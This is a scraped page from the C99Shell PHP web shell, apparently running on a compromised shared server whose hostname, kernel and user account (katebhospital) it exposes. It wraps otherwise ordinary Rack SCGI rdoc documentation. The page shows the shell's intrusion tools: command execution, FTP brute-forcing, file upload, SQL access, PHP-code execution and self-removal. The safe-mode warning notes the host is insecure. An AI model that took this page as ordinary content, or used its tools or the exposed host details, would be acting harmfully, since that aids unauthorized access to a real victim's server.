!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/rdoc/Rack/Handler/   drwxr-xr-x
Free 289.9 GB of 429.69 GB (67.47%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SCGI.html (26.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Class: Rack::Handler::SCGI

Parent

Files

Class/Module Index [+]

Quicksearch

Rack::Handler::SCGI

Attributes

app[RW]

Public Class Methods

new(settings = {}) click to toggle source
# File lib/rack/handler/scgi.rb, line 29
def initialize(settings = {})
  @app = settings[:app]
  super(settings)
end
run(app, options=nil) click to toggle source
# File lib/rack/handler/scgi.rb, line 11
def self.run(app, options=nil)
  options[:Socket] = UNIXServer.new(options[:File]) if options[:File]
  new(options.merge(:app=>app,
                    :host=>options[:Host],
                    :port=>options[:Port],
                    :socket=>options[:Socket])).listen
end
valid_options() click to toggle source
# File lib/rack/handler/scgi.rb, line 19
def self.valid_options
  environment  = ENV['RACK_ENV'] || 'development'
  default_host = environment == 'development' ? 'localhost' : '0.0.0.0'

  {
    "Host=HOST" => "Hostname to listen on (default: #{default_host})",
    "Port=PORT" => "Port to listen on (default: 8080)",
  }
end

Public Instance Methods

process_request(request, input_body, socket) click to toggle source
# File lib/rack/handler/scgi.rb, line 34
def process_request(request, input_body, socket)
  env = Hash[request]
  env.delete "HTTP_CONTENT_TYPE"
  env.delete "HTTP_CONTENT_LENGTH"
  env["REQUEST_PATH"], env[QUERY_STRING] = env["REQUEST_URI"].split('?', 2)
  env["HTTP_VERSION"] ||= env["SERVER_PROTOCOL"]
  env[PATH_INFO] = env["REQUEST_PATH"]
  env["QUERY_STRING"] ||= ""
  env["SCRIPT_NAME"] = ""

  rack_input = StringIO.new(input_body)
  rack_input.set_encoding(Encoding::BINARY) if rack_input.respond_to?(:set_encoding)

  env.update({"rack.version" => Rack::VERSION,
               "rack.input" => rack_input,
               "rack.errors" => $stderr,
               "rack.multithread" => true,
               "rack.multiprocess" => true,
               "rack.run_once" => false,

               "rack.url_scheme" => ["yes", "on", "1"].include?(env["HTTPS"]) ? "https" : "http"
             })
  status, headers, body = app.call(env)
  begin
    socket.write("Status: #{status}\r\n")
    headers.each do |k, vs|
      vs.split("\n").each { |v| socket.write("#{k}: #{v}\r\n")}
    end
    socket.write("\r\n")
    body.each {|s| socket.write(s)}
  ensure
    body.close if body.respond_to? :close
  end
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0992 ]--